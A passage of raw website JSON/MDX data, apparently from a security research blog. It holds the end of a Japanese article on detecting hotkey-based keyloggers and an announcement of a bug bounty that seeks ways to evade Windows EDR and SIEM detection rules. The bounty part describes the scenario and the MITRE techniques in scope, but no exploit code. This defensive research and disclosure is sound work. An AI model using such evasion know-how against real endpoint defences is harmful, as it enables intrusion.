u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304C\\u5B58\\u5728\\u3059\\u308B\\u3068\\u3057\\u3066\\u30A2\\u30E9\\u30FC\\u30C8\\u3092\\u6319\\u3052\\u307E\\u3059\\u3002\\u307E\\u305F\\u3001\\u4ECA\\u56DE\\u5B9F\\u88C5\\u306E\\u7C21\\u7565\\u5316\\u306E\\u305F\\u3081\\u3001\\u82F1\\u6570\\u5B57\\u5358\\u4F53\\u30AD\\u30FC\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u306E\\u307F\\u3092\\u5BFE\\u8C61\\u3068\\u3057\\u3066\\u3044\\u307E\\u3059\\u304C\\u3001SHIFT\\u306A\\u3069\\u306E\\u4FEE\\u98FE\\u5B50\\u4ED8\\u304D\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3082\\u5BB9\\u6613\\u306B\\u8ABF\\u3079\\u308B\\u3053\\u3068\\u304C\\u53EF\\u80FD\\u3067\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"hotkeyz\\u3092\\u691C\\u77E5\\u3059\\u308B\",children:\"Hotkeyz\\u3092\\u691C\\u77E5\\u3059\\u308B\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u691C\\u77E5\\u30C4\\u30FC\\u30EB(Hotkey-based Keylogger Detector)\\u306F\\u4EE5\\u4E0B\\u306B\\u3066\\u516C\\u958B\\u3057\\u307E\\u3057\\u305F\\u3002\\u4F7F\\u3044\\u65B9\\u3082\\u4EE5\\u4E0B\\u306B\\u8A18\\u8F09\\u3057\\u3066\\u3044\\u307E\\u3059\\u306E\\u3067\\u3001\\u8208\\u5473\\u3042\\u308B\\u65B9\\u306F\\u305C\\u3072\\u3054\\u89A7\\u304F\\u3060\\u3055\\u3044\\u3002\\u52A0\\u3048\\u3066\\u672C\\u7814\\u7A76\\u306F\",(0,n.jsx)(e.a,{href:\"https://nullcon.net/goa-2025/speaker-windows-keylogger-detection\",rel:\"nofollow\",children:\"NULLCON Goa 2025\"}),\"\\u3067\\u3082\\u767A\\u8868\\u3057\\u307E\\u3057\\u305F\\u306E\\u3067\\u3001\\u305D\\u306E\",(0,n.jsx)(e.a,{href:\"https://docs.google.com/presentation/d/1B0Gdfpo-ER2hPjDbP_NNoGZ8vXP6X1_BN7VZCqUgH8c/edit?usp=sharing\",rel:\"nofollow\",children:\"\\u767A\\u8868\\u30B9\\u30E9\\u30A4\\u30C9\"}),\"\\u3082\\u4F75\\u305B\\u3066\\u3054\\u89A7\\u3044\\u305F\\u3060\\u3051\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"*\",(0,n.jsx)(e.a,{href:\"https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector\",rel:\"nofollow\",children:\"https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector\"})]}),`\n`,(0,n.jsx)(e.p,{children:\"\\u3000\\u6700\\u5F8C\\u306B\\u3001\\u672C\\u30C4\\u30FC\\u30EB\\u3092\\u7528\\u3044\\u3066\\u5B9F\\u969B\\u306BHotkeyz\\u3092\\u691C\\u77E5\\u3059\\u308B\\u69D8\\u5B50\\u3092\\u53CE\\u9332\\u3057\\u305F\\u30C7\\u30E2\\u52D5\\u753B\\u304C\\u4EE5\\u4E0B\\u306B\\u306A\\u308A\\u307E\\u3059\\u3002\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.a,{href:\"https://drive.google.com/file/d/1koGLqA5cPlhL8C07MLg9VDD9-SW2FM9e/view?usp=drive_link\",rel:\"nofollow\",children:\"DEMO_VIDEO.mp4\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"\\u8B1D\\u8F9E\",children:\"\\u8B1D\\u8F9E\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection-jp\",rel:\"nofollow\",children:\"\\u524D\\u56DE\\u306E\\u8A18\\u4E8B\"}),\"\\u3092\\u8AAD\\u3093\\u3067\\u4E0B\\u3055\\u308A\\u3001\\u305D\\u306E\\u4E0A\\u3067\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u624B\\u6CD5\\u306B\\u3064\\u3044\\u3066\\u6559\\u3048\\u3066\\u304F\\u3060\\u3055\\u308A\\u3001\\u305D\\u306E\\u4E0A\\u305D\\u306EPoC\\u3068\\u306A\\u308BHotkeyz\\u3092\\u516C\\u958B\\u3057\\u3066\\u304F\\u3060\\u3055\\u3063\\u305F\\u3001Jonathan Bar Or\\u6C0F\\u306B\\u5FC3\\u3088\\u308A\\u611F\\u8B1D\\u81F4\\u3057\\u307E\\u3059\\u3002\"]})]})}function b(r={}){let{wrapper:e}=r.components||{};return e?(0,n.jsx)(e,Object.assign({},r,{children:(0,n.jsx)(c,r)})):c(r)}var T=b;return u(K);})();\n;return Component;"},"_id":"articles/detecting-hotkey-based-keyloggers-jp.mdx","_raw":{"sourceFilePath":"articles/detecting-hotkey-based-keyloggers-jp.mdx","sourceFileName":"detecting-hotkey-based-keyloggers-jp.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/detecting-hotkey-based-keyloggers-jp"},"type":"Article","imageUrl":"/assets/images/detecting-hotkey-based-keyloggers-jp/Security Labs Images 12.jpg","readingTime":"5 min read","series":"","url":"/detecting-hotkey-based-keyloggers-jp","headings":[{"level":2,"title":"未公開のカーネルデータ構造を使った","href":"#未公開のカーネルデータ構造を使った"},{"level":2,"title":"ホットキー型キーロガーの検知 ","href":"#ホットキー型キーロガーの検知--"},{"level":2,"title":"はじめに","href":"#はじめに"},{"level":2,"title":"ホットキー型キーロガーの概要","href":"#ホットキー型キーロガーの概要"},{"level":3,"title":"そもそもホットキーとは何か?","href":"#そもそもホットキーとは何か"},{"level":3,"title":"任意のホットキーが登録できることを悪用する","href":"#任意のホットキーが登録できることを悪用する"},{"level":3,"title":"密かにキーを盗み取る","href":"#密かにキーを盗み取る"},{"level":2,"title":"**ホットキー型キーロガーの検知手法**","href":"#ホットキー型キーロガーの検知手法"},{"level":3,"title":"ETWではRegisterHotKey APIは監視していない","href":"#etwではregisterhotkey-apiは監視していない"},{"level":3,"title":"ホットキーテーブル(gphkHashTable)を利用した検知","href":"#ホットキーテーブルgphkhashtableを利用した検知"},{"level":2,"title":"検知ツールを作成する","href":"#検知ツールを作成する"},{"level":3,"title":"gphkHashTableのアドレスを取得する方法","href":"#gphkhashtableのアドレスを取得する方法"},{"level":3,"title":"登録されているホットキーを確認する","href":"#登録されているホットキーを確認する"},{"level":3,"title":"Hotkeyzを検知する","href":"#hotkeyzを検知する"},{"level":2,"title":"謝辞","href":"#謝辞"}],"author":[{"title":"Asuka Nakajima","slug":"asuka-nakajima","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of f(e))!l.call(t,r)\u0026\u0026r!==n\u0026\u0026i(t,r,{get:()=\u003ee[r],enumerable:!(o=j(e,r))||o.enumerable});return t};var k=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((E,c)=\u003e{c.exports=_jsx_runtime});var C={};d(C,{default:()=\u003ey,frontmatter:()=\u003eM});var a=k(u()),M={title:\"Asuka Nakajima\",description:\"Senior Security Research Engineer, Elastic\",slug:\"asuka-nakajima\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var y=h;return p(C);})();\n;return Component;"},"_id":"authors/asuka-nakajima.mdx","_raw":{"sourceFilePath":"authors/asuka-nakajima.mdx","sourceFileName":"asuka-nakajima.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/asuka-nakajima"},"type":"Author","imageUrl":"","url":"/authors/asuka-nakajima"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Detection science","slug":"detection-science","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(s=f(e,o))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(d(t)):{},i(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(c({},\"__esModule\",{value:!0}),t);var u=j((h,a)=\u003e{a.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Detection science\",slug:\"detection-science\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"categories/detection-science.mdx","_raw":{"sourceFilePath":"categories/detection-science.mdx","sourceFileName":"detection-science.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/detection-science"},"type":"Category","url":"/categories/detection-science"}]},{"title":"Announcing the Elastic Bounty Program for Behavior Rule Protections","slug":"behavior-rule-bug-bounty","date":"2025-01-29","description":"Elastic is launching an expansion of its security bounty program, inviting researchers to test its SIEM and EDR rules for evasion and bypass techniques, starting with Windows endpoints. This initiative strengthens collaboration with the security community, ensuring Elastic’s defenses remain robust against evolving threats.","image":"behavior-rule-bug-bounty.jpg","subtitle":"Introducing a new focus on behavior rule protections, empowering researchers to enhance Elastic Security through innovative detection rule testing.","tags":["bug-bounty","vulnerability"],"body":{"raw":"\n## Introduction\n\nWe’re excited to introduce a new chapter in [our security bounty program](https://hackerone.com/elastic?type=team) on HackerOne that we soft launched in December 2024. Elastic is now offering a unique opportunity for researchers to test our [detection](https://github.com/elastic/detection-rules) rules (SIEM) and [endpoint](https://github.com/elastic/protections-artifacts/tree/main/behavior) rules (EDR), helping to identify gaps, vulnerabilities, and areas for improvement. This program builds on the success of our existing collaboration with the security research community, with a fresh focus on external validation for SIEM and EDR rule protections, which are provided as prebuilt content for [Elastic Security](https://www.elastic.co/security) and deeply connected to the threat research published on [Elastic Security Labs](https://www.elastic.co/security-labs). \n\nAt Elastic, [openness](https://www.elastic.co/blog/continued-leadership-in-open-and-transparent-security) has always been at the core of our philosophy. We prioritize being transparent about *how* we protect our users. Our protections for SIEM and EDR are not hidden behind a curtain or paywall. Anyone can examine and provide immediate feedback on our protections. This feedback pipeline has proven to be a powerful enabler to refine and improve, while fostering collaboration with security professionals worldwide. \n\nWhile we have performed various forms of testing internally over the years, some of which still exist today — such as emulations via internal automation capabilities, unit tests, evaluations, smoke tests, peer review processes, pen tests, and participating in exercises like [Locked Shields](https://www.elastic.co/blog/nation-states-cyber-threats-locked-shields), we want to take it one step further. By inviting the global security community to test our rules, we plan to push the maturity of our detection capabilities forward and ensure they remain resilient against evolving adversary techniques.\n\n## Elastic’s security bug bounty program offering \n\nElastic maintains a mature and proactive public bug bounty program, launched in 2017 which has paid out over $600,000 in awards since then. We value our continued partnership with the security research community to maintain the effectiveness of these artifacts, shared with the community to identify known and newly-discovered threats. \n\nThe scope of our bounty has included Elastic’s development supply chain, [Elastic Cloud](https://www.elastic.co/cloud), [the Elastic Stack](https://www.elastic.co/elastic-stack), our product solutions, and our corporate infrastructure. This initiative provides researchers with additional guided challenges and bonus structures that will contribute directly to hardening our security detection solutions. \n\n## A new bounty focus: Elastic Security rule assessments\n\nThis latest offering marks an exciting shift by expanding the scope of our bounty program to specifically focus on detection rulesets for the first time. While bounties have traditionally targeted vulnerabilities in products and platforms, this program invites the community to explore new ground: testing for evasion and bypass techniques that affect our rules.\n\nBy initially targeting rules for Windows endpoints, this initiative creates an opportunity for the security community to showcase creative ways of evading our defenses. The focus areas for this period include key [MITRE ATT\u0026CK techniques](https://attack.mitre.org/).\n\n### Why this is important\n\nElastic has consistently collaborated with our community, particularly through our community Slack, where members regularly provide feedback on our detection rules. This new bounty program doesn’t overshadow the incredible contributions already made: it adds another layer of involvement, offering a structured way to reward those who have dedicated time and effort to help us and our community defend against threats of all kinds.\n\nBy expanding our program to include detection rulesets, we’re offering researchers the chance to engage in a way that has a direct impact on our defenses. We demonstrate our belief in continuous improvement, ensuring we stay ahead of adversaries, and lead the industry in creative, yet exciting ways.\n\n## Summary scope and rewards\n\nFor this initial offering, the bounty scope focuses on evasion techniques related to our detection (SIEM) and endpoint (EDR) rulesets, particularly for Windows. We are interested in submissions that focus on areas like:\n\n* **Privilege evasion:** Techniques that bypass detection without requiring elevated privileges\n* **MITRE ATT\u0026CK technique evasion:** Creative bypasses of detection rules for specific techniques such as process injection, credential dumping, creative initial/execution access, lateral movement, and others\n\nSubmissions will be evaluated based on their impact and complexity. Over time, we plan the scope will evolve so watch out for future announcements and the Hackerone offering. \n\nFor a full list of techniques and detailed submission guidelines, view current offering.\n\n#### Time bounds\n\nFor this bounty incubation period (Jan 28th 2025 - May 1 2025), the scope will be *Windows Behavior Alerts*. \n\n## Current offering\n\n### Behavior detections\n\nElastic invites the security community to contribute to the continuous improvement of our detection (SIEM) and endpoint (EDR) rulesets. Our mission is to enhance the effectiveness and coverage of these rulesets, ensuring they remain resilient against the latest threats and sophisticated techniques. We encourage hackers to identify gaps, bypasses, or vulnerabilities in specific areas of our rulesets as defined in the scope below.\n\n#### What we’re looking for\n\nWe are particularly interested in submissions that focus on:\n\n* **Privileges**: Priority is given to bypass and evasion techniques that do not require elevated privileges.\n* **Techniques Evasion**: If a submission bypasses a single behavior detection but still triggers alerts, then it is not considered as a full bypass. \n\nSubmissions will be evaluated based on their impact and complexity. The reward tiers are structured as follows:\n\n* **Low**: Alerts generated are only low severity\n* **Medium**: No alerts generated (SIEM or Endpoint)\n* **High**: —\n* **Critical**: —\n\n#### Rule definition\n\nTo ensure that submissions are aligned with our priorities, each offering under this category will be scoped to a specific domain, MITRE tactic, or area of interest. This helps us focus on the most critical areas while preventing overly broad submissions.\n\nGeneral examples of specific scopes offered at specific times might include:\n\n* **Endpoint Rules:** Testing for bypasses or privilege escalation rules within macOS, Linux, Windows platforms.\n* **Cloud Rules:** Assessing the detection capabilities against identity-based attacks within AWS, Azure, GCP environments.\n* **SaaS Platform Rules:** Validating the detection of OAuth token misuse or API abuse in popular SaaS applications.\n\n#### Submission guidelines\n\nTo be eligible for a bounty, submissions must:\n\n1. **Align with the Defined Scope:** Submissions should strictly adhere to the specific domain, tactic, or area of interest as outlined in the bounty offering.\n2. **Provide Reproducible Results:** Include detailed, step-by-step instructions for reproducing the issue.\n3. **Demonstrate Significant Impact:** Show how the identified gap or bypass could lead to security risks while not triggering any SIEM or EDR rules within the scope of the **Feature Details**.\n4. **Include Comprehensive Documentation:** Provide all necessary code, scripts, or configurations used in the testing process to ensure the issue can be independently validated. The submission includes logs, screenshots, or other evidence showing that the attack successfully bypassed specific rules without triggering alerts, providing clear proof of the issue.\n\n#### Feature details scope\n\nFor this offering, here are additional details to further scope down submissions for this period:\n\n* **Target:** *Windows Behavior Alerts*\n* **Scenario**\n * Goal: Gain execution of an arbitrary attacker delivered executable on a system protected by Elastic Defend without triggering any alerts\n * Story: User downloads a single non-executable file from their web browser and opens it. They may click through any security warnings that are displayed by the operating system\n * Extensions in scope: lnk, js, jse, wsf, wsh, msc, vbs, vbe, chm, psc1, rdp\n * Entire scenario must occur within 5 minutes, but a reboot is allowed\n* **Relevant MITRE Techniques:** \n * [Process Injection, Technique T1055 - Enterprise | MITRE ATT\u0026CK®](https://attack.mitre.org/techniques/T1055) into Windows processes \n * Lateral Movement via [Remote Services, Technique T1021 - Enterprise | MITRE ATT\u0026CK®](https://attack.mitre.org/techniques/T1021) and credentials\n * [Phishing: Spearphishing Attachment, Sub-technique T1566.001 - Enterprise | MITRE ATT\u0026CK®](https://attack.mitre.org/techniques/T1566/001/) (macro enabled docs, script, shortcuts etc.)\n * [Impair Defenses: Disable or Modify Tools, Sub-technique T1562.001 - Enterprise | MITRE ATT\u0026CK®](https://attack.mitre.org/techniques/T1562/001/) (tampering with agents without administrative privileges techniques or techniques related to tampering with Elastic agent, PPL bypass, BYOVD etc.) \n* **Additional Success Criteria:** \n * Ideally the bypasses can be combined in one chain (e.g. one payload performing multiple techniques and bypassing multiple existing rules scoped for the same techniques) - to avoid bypasses based solely on our public FP exclusions.\n * For phishing-based initial access techniques, submissions must clearly specify the delivery method, including how the target receives and interacts with the payload (e.g., email attachment, direct download, or cloud file sharing).\n* **Additional Exclusions:**\n\nHere are some examples of non-acceptable submissions, but not limited to:\n\n* Techniques that rely on small x-process WriteProcessMemory\n* Techniques that rely on sleeps or other timing evasion methods\n* Techniques that rely on kernel mode attacks and require administrative privileges\n* Techniques that rely on [Phishing, Technique T1566 - Enterprise | MITRE ATT\u0026CK®](https://attack.mitre.org/techniques/T1566/) that are user assisted beyond initial access (e.g. beyond 2 or more user clicks) \n* Techniques that rely on well-documented information already in public repositories or widely recognized within the security community without any novel evasion or modification.\n* Techniques that rely on legacy / unpatched systems\n* Techniques that rely on highly specific environmental conditions or external factors that are unlikely to occur in realistic deployment scenarios \n* Techniques that rely on rule exceptions\n\n#### Questions and disclosure\n\nPlease view our [Security Issues](https://www.elastic.co/community/security) page for any questions or concerns related to this offering.\n\n## How to get involved\n\nTo participate and learn more, head over to[ HackerOne](https://hackerone.com/elastic) for complete details on the bounty program, submission guidelines, and reward tiers. We look forward to seeing the contributions from the research community and using these findings to continuously enhance the Elastic Security rulesets. Sign up for a [free cloud trial](https://www.elastic.co/cloud/cloud-trial-overview) to access Elastic Security!\n\n*The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.*\n","code":"var Component=(()=\u003e{var d=Object.create;var s=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var m=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),y=(n,e)=\u003e{for(var t in e)s(n,t,{get:e[t],enumerable:!0})},a=(n,e,t,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!g.call(n,r)\u0026\u0026r!==t\u0026\u0026s(n,r,{get:()=\u003ee[r],enumerable:!(o=u(e,r))||o.enumerable});return n};var b=(n,e,t)=\u003e(t=n!=null?d(f(n)):{},a(e||!n||!n.__esModule?s(t,\"default\",{value:n,enumerable:!0}):t,n)),w=n=\u003ea(s({},\"__esModule\",{value:!0}),n);var c=m((S,l)=\u003e{l.exports=_jsx_runtime});var k={};y(k,{default:()=\u003eE,frontmatter:()=\u003ev});var i=b(c()),v={title:\"Announcing the Elastic Bounty Program for Behavior Rule Protections\",slug:\"behavior-rule-bug-bounty\",date:\"2025-01-29\",subtitle:\"Introducing a new focus on behavior rule protections, empowering researchers to enhance Elastic Security through innovative detection rule testing.\",description:\"Elastic is launching an expansion of its security bounty program, inviting researchers to test its SIEM and EDR rules for evasion and bypass techniques, starting with Windows endpoints. This initiative strengthens collaboration with the security community, ensuring Elastic\\u2019s defenses remain robust against evolving threats.\",author:[{slug:\"mika-ayenson\"},{slug:\"samir-bousseaden\"},{slug:\"rodrigo-silva\"},{slug:\"jake-king\"}],image:\"behavior-rule-bug-bounty.jpg\",category:[{slug:\"security-research\"},{slug:\"security-operations\"},{slug:\"vulnerability-updates\"}],tags:[\"bug-bounty\",\"vulnerability\"]};function h(n){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",em:\"em\",h3:\"h3\",ul:\"ul\",li:\"li\",strong:\"strong\",h4:\"h4\",ol:\"ol\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"We\\u2019re excited to introduce a new chapter in \",(0,i.jsx)(e.a,{href:\"https://hackerone.com/elastic?type=team\",rel:\"nofollow\",children:\"our security bounty program\"}),\" on HackerOne that we soft launched in December 2024. Elastic is now offering a unique opportunity for researchers to test our \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"detection\"}),\" rules (SIEM) and \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/tree/main/behavior\",rel:\"nofollow\",children:\"endpoint\"}),\" rules (EDR), helping to identify gaps, vulnerabilities, and areas for improvement. This program builds on the success of our existing collaboration with the security research community, with a fresh focus on external validation for SIEM and EDR rule protections, which are provided as prebuilt content for \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security\",rel:\"nofollow\",children:\"Elastic Security\"}),\" and deeply connected to the threat research published on \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs\",rel:\"nofollow\",children:\"Elastic Security Labs\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"At Elastic, \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/blog/continued-leadership-in-open-and-transparent-security\",rel:\"nofollow\",children:\"openness\"}),\" has always been at the core of our philosophy. We prioritize being transparent about \",(0,i.jsx)(e.em,{children:\"how\"}),\" we protect our users. Our protections for SIEM and EDR are not hidden behind a curtain or paywall. Anyone can examine and provide immediate feedback on our protections. This feedback pipeline has proven to be a powerful enabler to refine and improve, while fostering collaboration with security professionals worldwide.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"While we have performed various forms of testing internally over the years, some of which still exist today \\u2014 such as emulations via internal automation capabilities, unit tests, evaluations, smoke tests, peer review processes, pen tests, and participating in exercises like \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/blog/nation-states-cyber-threats-locked-shields\",rel:\"nofollow\",children:\"Locked Shields\"}),\", we want to take it one step further. By inviting the global security community to test our rules, we plan to push the maturity of our detection capabilities forward and ensure they remain resilient against evolving adversary techniques.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"elastics-security-bug-bounty-program-offering\",children:\"Elastic\\u2019s security bug bounty program offering\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic maintains a mature and proactive public bug bounty program, launched in 2017 which has paid out over $600,000 in awards since then. We value our continued partnership with the security research community to maintain the effectiveness of these artifacts, shared with the community to identify known and newly-discovered threats.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The scope of our bounty has included Elastic\\u2019s development supply chain, \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/cloud\",rel:\"nofollow\",children:\"Elastic Cloud\"}),\", \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/elastic-stack\",rel:\"nofollow\",children:\"the Elastic Stack\"}),\", our product solutions, and our corporate infrastructure. This initiative provides researchers with additional guided challenges and bonus structures that will contribute directly to hardening our security detection solutions.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"a-new-bounty-focus-elastic-security-rule-assessments\",children:\"A new bounty focus: Elastic Security rule assessments\"}),`\n`,(0,i.jsx)(e.p,{children:\"This latest offering marks an exciting shift by expanding the scope of our bounty program to specifically focus on detection rulesets for the first time. While bounties have traditionally targeted vulnerabilities in products and platforms, this program invites the community to explore new ground: testing for evasion and bypass techniques that affect our rules.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"By initially targeting rules for Windows endpoints, this initiative creates an opportunity for the security community to showcase creative ways of evading our defenses. The focus areas for this period include key \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK techniques\"}),\".\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"why-this-is-important\",children:\"Why this is important\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic has consistently collaborated with our community, particularly through our community Slack, where members regularly provide feedback on our detection rules. This new bounty program doesn\\u2019t overshadow the incredible contributions already made: it adds another layer of involvement, offering a structured way to reward those who have dedicated time and effort to help us and our community defend against threats of all kinds.\"}),`\n`,(0,i.jsx)(e.p,{children:\"By expanding our program to include detection rulesets, we\\u2019re offering researchers the chance to engage in a way that has a direct impact on our defenses. We demonstrate our belief in continuous improvement, ensuring we stay ahead of adversaries, and lead the industry in creative, yet exciting ways.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"summary-scope-and-rewards\",children:\"Summary scope and rewards\"}),`\n`,(0,i.jsx)(e.p,{children:\"For this initial offering, the bounty scope focuses on evasion techniques related to our detection (SIEM) and endpoint (EDR) rulesets, particularly for Windows. We are interested in submissions that focus on areas like:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Privilege evasion:\"}),\" Techniques that bypass detection without requiring elevated privileges\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"MITRE ATT\u0026CK technique evasion:\"}),\" Creative bypasses of detection rules for specific techniques such as process injection, credential dumping, creative initial/execution access, lateral movement, and others\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Submissions will be evaluated based on their impact and complexity. Over time, we plan the scope will evolve so watch out for future announcements and the Hackerone offering.\"}),`\n`,(0,i.jsx)(e.p,{children:\"For a full list of techniques and detailed submission guidelines, view current offering.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"time-bounds\",children:\"Time bounds\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"For this bounty incubation period (Jan 28th 2025 - May 1 2025), the scope will be \",(0,i.jsx)(e.em,{children:\"Windows Behavior Alerts\"}),\".\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"current-offering\",children:\"Current offering\"}),`\n`,(0,i.jsx)(e.h3,{id:\"behavior-detections\",children:\"Behavior detections\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic invites the security community to contribute to the continuous improvement of our detection (SIEM) and endpoint (EDR) rulesets. Our mission is to enhance the effectiveness and coverage of these rulesets, ensuring they remain resilient against the latest threats and sophisticated techniques. We encourage hackers to identify gaps, bypasses, or vulnerabilities in specific areas of our rulesets as defined in the scope below.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"what-were-looking-for\",children:\"What we\\u2019re looking for\"}),`\n`,(0,i.jsx)(e.p,{children:\"We are particularly interested in submissions that focus on:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Privileges\"}),\": Priority is given to bypass and evasion techniques that do not require elevated privileges.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Techniques Evasion\"}),\": If a submission bypasses a single behavior detection but still triggers alerts, then it is not considered as a full bypass.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Submissions will be evaluated based on their impact and complexity. The reward tiers are structured as follows:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Low\"}),\": Alerts generated are only low severity\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Medium\"}),\": No alerts generated (SIEM or 